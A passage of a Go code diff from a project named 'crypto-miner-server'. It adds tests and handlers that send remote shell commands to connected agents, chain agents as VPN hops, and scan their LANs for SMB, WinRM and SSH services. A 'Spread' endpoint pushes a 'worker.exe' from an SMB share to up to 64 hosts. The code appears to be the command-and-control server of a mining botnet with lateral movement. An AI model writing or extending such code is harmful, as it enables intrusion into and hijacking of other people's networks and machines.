if err := os.WriteFile(p, []byte(script), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h.SetGoBinPath(p)
|
||||
}
|
||||
|
||||
// serveWithFleetSecret sends a request with the fleet secret header (for /api/v1/agent/* routes).
|
||||
func serveWithFleetSecret(t *testing.T, router http.Handler, method, path, secret string, body []byte) *httptest.ResponseRecorder {
|
||||
t.Helper()
|
||||
@@ -470,6 +596,56 @@ func TestIntegrationPutConfig(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFusionMultipartEndToEndViaRouter(t *testing.T) {
|
||||
projectRoot := integrationWorkspaceRoot(t)
|
||||
router, _, database, _ := newFusionTestRouter(t, projectRoot)
|
||||
|
||||
body, contentType := fusionMultipartBody(t)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/build", bytes.NewReader(body.Bytes()))
|
||||
req.Header.Set("Content-Type", contentType)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusUnauthorized {
|
||||
t.Fatalf("unauthed multipart forge expected 401, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
body, contentType = fusionMultipartBody(t)
|
||||
rec = serveAuthedMultipart(t, router, "/api/v1/builder/build", body, contentType)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("authed fusion multipart status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var resp builder.BuildResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("decode build response: %v body=%s", err, rec.Body.String())
|
||||
}
|
||||
if !resp.Success {
|
||||
t.Fatalf("expected success=true, got %+v", resp)
|
||||
}
|
||||
if resp.BuildID == "" {
|
||||
t.Fatal("expected build_id in response")
|
||||
}
|
||||
|
||||
record, err := database.GetBuild(resp.BuildID)
|
||||
if err != nil {
|
||||
t.Fatalf("build not in database: %v", err)
|
||||
}
|
||||
if record.WorkerName != "integration-fusion" {
|
||||
t.Fatalf("worker_name: got %q want integration-fusion", record.WorkerName)
|
||||
}
|
||||
if record.Platform != "windows" {
|
||||
t.Fatalf("platform: got %q want windows", record.Platform)
|
||||
}
|
||||
|
||||
builds, err := database.ListBuilds(10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(builds) != 1 {
|
||||
t.Fatalf("expected 1 build in DB, got %d", len(builds))
|
||||
}
|
||||
}
|
||||
|
||||
func TestIntegrationBuilderRoutes(t *testing.T) {
|
||||
router, _, _, _ := newTestRouter(t)
|
||||
|
||||
@@ -735,3 +911,146 @@ func TestIntegrationRouterWebSocketAgentConnectedCommand(t *testing.T) {
|
||||
t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestIntegrationRouterCommandFullRoundTrip validates the full remote-command path
|
||||
// through the HTTP router: POST /api/v1/agents/{id}/command → agent WS receives
|
||||
// command → simulated agent sends command_result → dashboard WS receives broadcast.
|
||||
func TestIntegrationRouterCommandFullRoundTrip(t *testing.T) {
|
||||
router, wsHub, _, _ := newTestRouter(t)
|
||||
agentID := "router-roundtrip-agent"
|
||||
const testAction = "exec"
|
||||
const testCommand = "whoami"
|
||||
const resultMessage = "integration round-trip ok"
|
||||
|
||||
agentConn, srv := connectAgentViaRouter(t, router, agentID)
|
||||
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
if wsHub.isAgentConnected(agentID) {
|
||||
break
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
if !wsHub.isAgentConnected(agentID) {
|
||||
t.Fatal("agent not connected via router ws")
|
||||
}
|
||||
|
||||
dashURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/dashboard?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial dashboard ws: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = dashConn.Close() })
|
||||
|
||||
type msgResult struct {
|
||||
body map[string]interface{}
|
||||
err string
|
||||
}
|
||||
cmdResultCh := make(chan msgResult, 1)
|
||||
go func() {
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
cmdResultCh <- msgResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
if msg.Type != "command_result" {
|
||||
continue
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
|
||||
cmdResultCh <- msgResult{err: "parse: " + parseErr.Error()}
|
||||
return
|
||||
}
|
||||
cmdResultCh <- msgResult{body: body}
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
type agentCmdResult struct {
|
||||
cmd Message
|
||||
err string
|
||||
}
|
||||
agentCmdCh := make(chan agentCmdResult, 1)
|
||||
go func() {
|
||||
_ = agentConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
var cmd Message
|
||||
if err := agentConn.ReadJSON(&cmd); err != nil {
|
||||
agentCmdCh <- agentCmdResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
agentCmdCh <- agentCmdResult{cmd: cmd}
|
||||
|
||||
cmdPayload, _ := json.Marshal(map[string]interface{}{
|
||||
"action": testAction,
|
||||
"success": true,
|
||||
"message": resultMessage,
|
||||
})
|
||||
if err := agentConn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
|
||||
agentCmdCh <- agentCmdResult{err: "send command_result: " + err.Error()}
|
||||
}
|
||||
}()
|
||||
|
||||
cmdBody, _ := json.Marshal(map[string]string{
|
||||
"action": testAction,
|
||||
"command": testCommand,
|
||||
})
|
||||
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/"+agentID+"/command", cmdBody)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var httpBody map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &httpBody); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if httpBody["success"] != true {
|
||||
t.Fatalf("expected success=true, got %v", httpBody)
|
||||
}
|
||||
if httpBody["action"] != testAction {
|
||||
t.Fatalf("http action: got %v, want %s", httpBody["action"], testAction)
|
||||
}
|
||||
|
||||
select {
|
||||
case r := <-agentCmdCh:
|
||||
if r.err != "" {
|
||||
t.Fatalf("agent did not receive command: %s", r.err)
|
||||
}
|
||||
if r.cmd.Type != "command" {
|
||||
t.Fatalf("agent expected command, got %q", r.cmd.Type)
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if payload["action"] != testAction {
|
||||
t.Errorf("agent command action: got %v, want %s", payload["action"], testAction)
|
||||
}
|
||||
if payload["command"] != testCommand {
|
||||
t.Errorf("agent command: got %v, want %s", payload["command"], testCommand)
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for agent command")
|
||||
}
|
||||
|
||||
select {
|
||||
case r := <-cmdResultCh:
|
||||
if r.err != "" {
|
||||
t.Fatalf("dashboard did not receive command_result: %s", r.err)
|
||||
}
|
||||
if r.body["agent_id"] != agentID {
|
||||
t.Errorf("dashboard agent_id: got %v, want %s", r.body["agent_id"], agentID)
|
||||
}
|
||||
if r.body["action"] != testAction {
|
||||
t.Errorf("dashboard action: got %v, want %s", r.body["action"], testAction)
|
||||
}
|
||||
if r.body["message"] != resultMessage {
|
||||
t.Errorf("dashboard message: got %v, want %q", r.body["message"], resultMessage)
|
||||
}
|
||||
if r.body["success"] != true {
|
||||
t.Errorf("dashboard success: got %v, want true", r.body["success"])
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for command_result broadcast")
|
||||
}
|
||||
}
|
||||
|
||||
167
server/internal/api/pathtracer_discover_test.go
Normal file
167
server/internal/api/pathtracer_discover_test.go
Normal file
@@ -0,0 +1,167 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
func TestMergeServiceGraph(t *testing.T) {
|
||||
base := map[string]ServiceGraphHost{
|
||||
"10.0.0.5": {
|
||||
Host: "10.0.0.5",
|
||||
Services: []ServiceGraphEntry{
|
||||
{ServiceName: "smb", Port: 445, JoinLaneCandidate: "smb"},
|
||||
},
|
||||
},
|
||||
}
|
||||
delta := map[string]ServiceGraphHost{
|
||||
"10.0.0.5": {
|
||||
Host: "10.0.0.5",
|
||||
Services: []ServiceGraphEntry{
|
||||
{ServiceName: "winrm", Port: 5985, JoinLaneCandidate: "winrm"},
|
||||
},
|
||||
},
|
||||
"10.0.0.9": {
|
||||
Host: "10.0.0.9",
|
||||
Services: []ServiceGraphEntry{
|
||||
{ServiceName: "ssh", Port: 22, JoinLaneCandidate: "linux"},
|
||||
},
|
||||
},
|
||||
}
|
||||
merged := mergeServiceGraph(base, delta)
|
||||
if len(merged) != 2 || len(merged["10.0.0.5"].Services) != 2 {
|
||||
t.Fatalf("merged = %+v", merged)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseAgentDiscoverJSON(t *testing.T) {
|
||||
raw := `log prefix
|
||||
{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker"}]},"lan_hosts":[{"host":"10.1.2.40","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}]}`
|
||||
payload, err := parseAgentDiscoverJSON(raw)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if payload.Local.Host != "10.1.2.3" || len(payload.LANHosts) != 1 {
|
||||
t.Fatalf("payload = %+v", payload)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerDiscoverValidation(t *testing.T) {
|
||||
h := NewPathTracerHandler(NewWSHub(nil))
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(`{}`))
|
||||
rec := httptest.NewRecorder()
|
||||
h.Discover(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("expected 400, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerDiscoverMergesHopResults(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
agentID := "discover-hop-agent"
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
conn := connectTestAgent(t, hub, agentID)
|
||||
|
||||
sess := testTraceSession(1)
|
||||
sess.Hops[0].AgentID = agentID
|
||||
handler.mu.Lock()
|
||||
handler.sessions[sess.ID] = sess
|
||||
handler.mu.Unlock()
|
||||
|
||||
fixture := `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"192.168.1.10","subnet":"192.168.1","services":[{"service_name":"CCMEXEC","join_lane_candidate":"gpo","source":"local_service"}]},"lan_hosts":[{"host":"192.168.1.50","subnet":"192.168.1","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}],"passive_hints":["domain_joined"]}`
|
||||
|
||||
go func() {
|
||||
for {
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "command" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
if payload["action"] == "service_discover" {
|
||||
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "service_discover", "success": true, "message": fixture,
|
||||
})})
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
body := fmt.Sprintf(`{"session_id":%q,"max_hosts":16}`, sess.ID)
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Discover(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("discover status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var resp struct {
|
||||
OK bool `json:"ok"`
|
||||
ServiceGraph []ServiceGraphHost `json:"service_graph"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !resp.OK || len(resp.ServiceGraph) < 2 {
|
||||
var errBody map[string]interface{}
|
||||
_ = json.Unmarshal(rec.Body.Bytes(), &errBody)
|
||||
t.Fatalf("resp = %+v body=%v", resp, errBody)
|
||||
}
|
||||
|
||||
handler.mu.Lock()
|
||||
stored := handler.sessions[sess.ID]
|
||||
handler.mu.Unlock()
|
||||
if len(stored.ServiceGraph) < 2 || stored.DiscoveredAt == nil {
|
||||
t.Fatalf("stored graph = %+v discovered_at=%v", stored.ServiceGraph, stored.DiscoveredAt)
|
||||
}
|
||||
if stored.DiscoverInProgress {
|
||||
t.Fatal("discover should not remain in progress")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerDiscoverConflictWhileInProgress(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
agentID := "discover-busy-agent"
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
_ = connectTestAgent(t, hub, agentID)
|
||||
|
||||
sess := testTraceSession(1)
|
||||
sess.Hops[0].AgentID = agentID
|
||||
sess.DiscoverInProgress = true
|
||||
handler.mu.Lock()
|
||||
handler.sessions[sess.ID] = sess
|
||||
handler.mu.Unlock()
|
||||
|
||||
body := fmt.Sprintf(`{"session_id":%q}`, sess.ID)
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/discover", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Discover(rec, req)
|
||||
if rec.Code != http.StatusConflict {
|
||||
t.Fatalf("expected 409, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
_ = time.Now()
|
||||
}
|
||||
@@ -44,6 +44,23 @@ type HopInfo struct {
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
// ServiceGraphEntry is one discovered service or port signal on a host.
|
||||
type ServiceGraphEntry struct {
|
||||
ServiceName string `json:"service_name"`
|
||||
Port int `json:"port,omitempty"`
|
||||
Status string `json:"status,omitempty"`
|
||||
JoinLaneCandidate string `json:"join_lane_candidate,omitempty"`
|
||||
Source string `json:"source,omitempty"`
|
||||
}
|
||||
|
||||
// ServiceGraphHost groups service findings for one host on a subnet.
|
||||
type ServiceGraphHost struct {
|
||||
Host string `json:"host"`
|
||||
Subnet string `json:"subnet,omitempty"`
|
||||
Services []ServiceGraphEntry `json:"services"`
|
||||
AgentID string `json:"agent_id,omitempty"`
|
||||
}
|
||||
|
||||
// TraceSession holds all state for one active VPN session.
|
||||
type TraceSession struct {
|
||||
ID string `json:"id"`
|
||||
@@ -52,6 +69,13 @@ type TraceSession struct {
|
||||
Ready bool `json:"ready"`
|
||||
Error string `json:"error,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
// Service graph keyed by host IP — merged from hop service_discover passes.
|
||||
ServiceGraph map[string]ServiceGraphHost `json:"service_graph,omitempty"`
|
||||
DiscoverInProgress bool `json:"discover_in_progress,omitempty"`
|
||||
DiscoverError string `json:"discover_error,omitempty"`
|
||||
DiscoveredAt *time.Time `json:"discovered_at,omitempty"`
|
||||
// Passive recon from egress hop (network_recon command).
|
||||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||||
// Client WireGuard keypair — used to build the QR config.
|
||||
clientPrivKey string
|
||||
clientPubKey string
|
||||
@@ -178,6 +202,7 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// Orchestrate asynchronously so the HTTP response returns quickly.
|
||||
go h.orchestrate(sess)
|
||||
go h.collectEgressNetworkHints(sess)
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
@@ -194,12 +219,24 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"ready": sess.Ready,
|
||||
"error": sess.Error,
|
||||
"hops": sess.Hops,
|
||||
})
|
||||
resp := map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"ready": sess.Ready,
|
||||
"error": sess.Error,
|
||||
"hops": sess.Hops,
|
||||
"discover_in_progress": sess.DiscoverInProgress,
|
||||
"discover_error": sess.DiscoverError,
|
||||
}
|
||||
if len(sess.ServiceGraph) > 0 {
|
||||
resp["service_graph"] = serviceGraphList(sess.ServiceGraph)
|
||||
}
|
||||
if sess.DiscoveredAt != nil {
|
||||
resp["discovered_at"] = sess.DiscoveredAt.UTC().Format(time.RFC3339)
|
||||
}
|
||||
if hints := jsonRawOrNil(sess.NetworkHints); hints != nil {
|
||||
resp["network_hints"] = hints
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
// GET /api/v1/pathtrace/{id}/qr
|
||||
@@ -263,8 +300,186 @@ func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
|
||||
// POST /api/v1/pathtrace/discover
|
||||
// Body: {"session_id":"…","max_hosts":32}
|
||||
// Dispatches service_discover on every hop and merges LAN/local findings into service_graph.
|
||||
func (h *PathTracerHandler) Discover(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
SessionID string `json:"session_id"`
|
||||
MaxHosts int `json:"max_hosts"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.SessionID = strings.TrimSpace(req.SessionID)
|
||||
if req.SessionID == "" {
|
||||
http.Error(w, "session_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
maxHosts := req.MaxHosts
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 32
|
||||
}
|
||||
|
||||
sess := h.getSession(req.SessionID)
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if len(sess.Hops) == 0 {
|
||||
http.Error(w, "session has no hops", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
for _, hop := range sess.Hops {
|
||||
if !h.hub.isAgentConnected(hop.AgentID) {
|
||||
http.Error(w, "hop agent "+hop.AgentID[:min(8, len(hop.AgentID))]+" not connected", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
if sess.DiscoverInProgress {
|
||||
h.mu.Unlock()
|
||||
http.Error(w, "discover already in progress", http.StatusConflict)
|
||||
return
|
||||
}
|
||||
sess.DiscoverInProgress = true
|
||||
sess.DiscoverError = ""
|
||||
h.mu.Unlock()
|
||||
|
||||
graph, discoverErr := h.runServiceDiscover(sess.Hops, maxHosts)
|
||||
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
sess.DiscoverInProgress = false
|
||||
if discoverErr != "" {
|
||||
sess.DiscoverError = discoverErr
|
||||
}
|
||||
if len(graph) > 0 {
|
||||
sess.ServiceGraph = mergeServiceGraph(sess.ServiceGraph, graph)
|
||||
now := time.Now()
|
||||
sess.DiscoveredAt = &now
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": discoverErr == "",
|
||||
"session_id": sess.ID,
|
||||
"error": discoverErr,
|
||||
"service_graph": serviceGraphList(sess.ServiceGraph),
|
||||
"discovered_at": formatDiscoveredAt(sess.DiscoveredAt),
|
||||
})
|
||||
}
|
||||
|
||||
// POST /api/v1/pathtrace/spread
|
||||
// Body: {"session_id":"…","unc_path":"\\\\forge\\pathforge$\\worker.exe","max_hosts":64}
|
||||
// Dispatches spread_smb_unc on the egress Path Tracer hop (last agent in the chain).
|
||||
func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
SessionID string `json:"session_id"`
|
||||
UNCPath string `json:"unc_path"`
|
||||
MaxHosts int `json:"max_hosts"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.SessionID = strings.TrimSpace(req.SessionID)
|
||||
req.UNCPath = strings.TrimSpace(req.UNCPath)
|
||||
if req.SessionID == "" || req.UNCPath == "" {
|
||||
http.Error(w, "session_id and unc_path are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if !strings.HasPrefix(strings.ToLower(req.UNCPath), `\\`) {
|
||||
http.Error(w, "unc_path must be a UNC share (\\\\host\\share\\file.exe)", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if strings.Contains(req.UNCPath, "..") {
|
||||
http.Error(w, "unc_path must not contain ..", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
sess := h.getSession(req.SessionID)
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if len(sess.Hops) == 0 {
|
||||
http.Error(w, "session has no hops", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
egress := sess.Hops[len(sess.Hops)-1]
|
||||
if !h.hub.isAgentConnected(egress.AgentID) {
|
||||
http.Error(w, "egress hop agent not connected", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
maxHosts := req.MaxHosts
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 64
|
||||
}
|
||||
args := map[string]interface{}{
|
||||
"path": req.UNCPath,
|
||||
"command": fmt.Sprintf("%d", maxHosts),
|
||||
}
|
||||
if err := h.hub.SendAgentCommand(egress.AgentID, "spread_smb_unc", args); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
"agent_id": egress.AgentID,
|
||||
"agent_name": egress.AgentName,
|
||||
"unc_path": req.UNCPath,
|
||||
"max_hosts": maxHosts,
|
||||
"message": "spread_smb_unc dispatched on Path Tracer egress hop",
|
||||
})
|
||||
}
|
||||
|
||||
// ── orchestration ─────────────────────────────────────────────────────────────
|
||||
|
||||
// collectEgressNetworkHints dispatches network_recon on the egress hop for Path Tracer graph hints.
|
||||
func (h *PathTracerHandler) collectEgressNetworkHints(sess *TraceSession) {
|
||||
if len(sess.Hops) == 0 {
|
||||
return
|
||||
}
|
||||
egress := sess.Hops[len(sess.Hops)-1]
|
||||
if !h.hub.isAgentConnected(egress.AgentID) {
|
||||
return
|
||||
}
|
||||
ch := h.hub.AwaitCommandResult(egress.AgentID, "network_recon")
|
||||
if err := h.hub.SendAgentCommand(egress.AgentID, "network_recon", nil); err != nil {
|
||||
h.hub.CancelAwait(egress.AgentID, "network_recon")
|
||||
log.Printf("[pathtrace] session %s: network_recon dispatch failed: %v", sess.ID[:8], err)
|
||||
return
|
||||
}
|
||||
select {
|
||||
case payload := <-ch:
|
||||
msgStr, _ := payload["message"].(string)
|
||||
if strings.TrimSpace(msgStr) == "" {
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
sess.NetworkHints = json.RawMessage(msgStr)
|
||||
h.mu.Unlock()
|
||||
log.Printf("[pathtrace] session %s: network_hints collected from egress hop", sess.ID[:8])
|
||||
case <-time.After(45 * time.Second):
|
||||
h.hub.CancelAwait(egress.AgentID, "network_recon")
|
||||
log.Printf("[pathtrace] session %s: network_recon timed out", sess.ID[:8])
|
||||
}
|
||||
}
|
||||
|
||||
func jsonRawOrNil(raw json.RawMessage) interface{} {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return nil
|
||||
}
|
||||
var v interface{}
|
||||
if err := json.Unmarshal(raw, &v); err != nil {
|
||||
return nil
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
log.Printf("[pathtrace] session %s: orchestrating %d hop(s)", sess.ID[:8], len(sess.Hops))
|
||||
|
||||
@@ -529,6 +744,170 @@ func (h *PathTracerHandler) getSession(id string) *TraceSession {
|
||||
return h.sessions[id]
|
||||
}
|
||||
|
||||
type agentDiscoverPayload struct {
|
||||
ProbedAt string `json:"probed_at"`
|
||||
Local ServiceGraphHost `json:"local"`
|
||||
LANHosts []ServiceGraphHost `json:"lan_hosts"`
|
||||
PassiveHints []string `json:"passive_hints,omitempty"`
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) runServiceDiscover(hops []*HopInfo, maxHosts int) (map[string]ServiceGraphHost, string) {
|
||||
type discoverResp struct {
|
||||
hop *HopInfo
|
||||
raw string
|
||||
err string
|
||||
}
|
||||
results := make(chan discoverResp, len(hops))
|
||||
|
||||
for _, hop := range hops {
|
||||
hop := hop
|
||||
ch := h.hub.AwaitCommandResult(hop.AgentID, "service_discover")
|
||||
args := map[string]interface{}{"command": fmt.Sprintf("%d", maxHosts)}
|
||||
if err := h.hub.SendAgentCommand(hop.AgentID, "service_discover", args); err != nil {
|
||||
h.hub.CancelAwait(hop.AgentID, "service_discover")
|
||||
results <- discoverResp{hop: hop, err: err.Error()}
|
||||
continue
|
||||
}
|
||||
go func() {
|
||||
select {
|
||||
case payload := <-ch:
|
||||
success, _ := payload["success"].(bool)
|
||||
msg, _ := payload["message"].(string)
|
||||
if !success {
|
||||
results <- discoverResp{hop: hop, err: strings.TrimSpace(msg)}
|
||||
return
|
||||
}
|
||||
results <- discoverResp{hop: hop, raw: msg}
|
||||
case <-time.After(90 * time.Second):
|
||||
h.hub.CancelAwait(hop.AgentID, "service_discover")
|
||||
results <- discoverResp{hop: hop, err: "timeout waiting for service_discover"}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
merged := make(map[string]ServiceGraphHost)
|
||||
var errs []string
|
||||
for range hops {
|
||||
r := <-results
|
||||
if r.err != "" {
|
||||
errs = append(errs, r.hop.AgentID[:min(8, len(r.hop.AgentID))]+": "+r.err)
|
||||
continue
|
||||
}
|
||||
payload, err := parseAgentDiscoverJSON(r.raw)
|
||||
if err != nil {
|
||||
errs = append(errs, r.hop.AgentID[:min(8, len(r.hop.AgentID))]+": parse error")
|
||||
continue
|
||||
}
|
||||
merged = mergeServiceGraph(merged, graphFromDiscoverPayload(r.hop.AgentID, payload))
|
||||
}
|
||||
if len(merged) == 0 && len(errs) > 0 {
|
||||
return nil, strings.Join(errs, "; ")
|
||||
}
|
||||
if len(errs) > 0 {
|
||||
return merged, "partial: " + strings.Join(errs, "; ")
|
||||
}
|
||||
return merged, ""
|
||||
}
|
||||
|
||||
func parseAgentDiscoverJSON(raw string) (agentDiscoverPayload, error) {
|
||||
var payload agentDiscoverPayload
|
||||
raw = strings.TrimSpace(raw)
|
||||
if idx := strings.Index(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
err := json.Unmarshal([]byte(raw), &payload)
|
||||
return payload, err
|
||||
}
|
||||
|
||||
func graphFromDiscoverPayload(agentID string, payload agentDiscoverPayload) map[string]ServiceGraphHost {
|
||||
out := make(map[string]ServiceGraphHost)
|
||||
addHost := func(host ServiceGraphHost) {
|
||||
hostKey := strings.TrimSpace(host.Host)
|
||||
if hostKey == "" {
|
||||
return
|
||||
}
|
||||
host.AgentID = agentID
|
||||
existing, ok := out[hostKey]
|
||||
if !ok {
|
||||
host.Services = dedupeServiceEntries(host.Services)
|
||||
out[hostKey] = host
|
||||
return
|
||||
}
|
||||
if existing.Subnet == "" && host.Subnet != "" {
|
||||
existing.Subnet = host.Subnet
|
||||
}
|
||||
if existing.AgentID == "" {
|
||||
existing.AgentID = agentID
|
||||
}
|
||||
existing.Services = dedupeServiceEntries(append(existing.Services, host.Services...))
|
||||
out[hostKey] = existing
|
||||
}
|
||||
|
||||
local := payload.Local
|
||||
local.AgentID = agentID
|
||||
addHost(local)
|
||||
for _, lan := range payload.LANHosts {
|
||||
addHost(lan)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func mergeServiceGraph(base, delta map[string]ServiceGraphHost) map[string]ServiceGraphHost {
|
||||
if base == nil {
|
||||
base = make(map[string]ServiceGraphHost)
|
||||
}
|
||||
for hostKey, host := range delta {
|
||||
existing, ok := base[hostKey]
|
||||
if !ok {
|
||||
dup := host
|
||||
dup.Services = dedupeServiceEntries(dup.Services)
|
||||
base[hostKey] = dup
|
||||
continue
|
||||
}
|
||||
if existing.Subnet == "" && host.Subnet != "" {
|
||||
existing.Subnet = host.Subnet
|
||||
}
|
||||
if existing.AgentID == "" && host.AgentID != "" {
|
||||
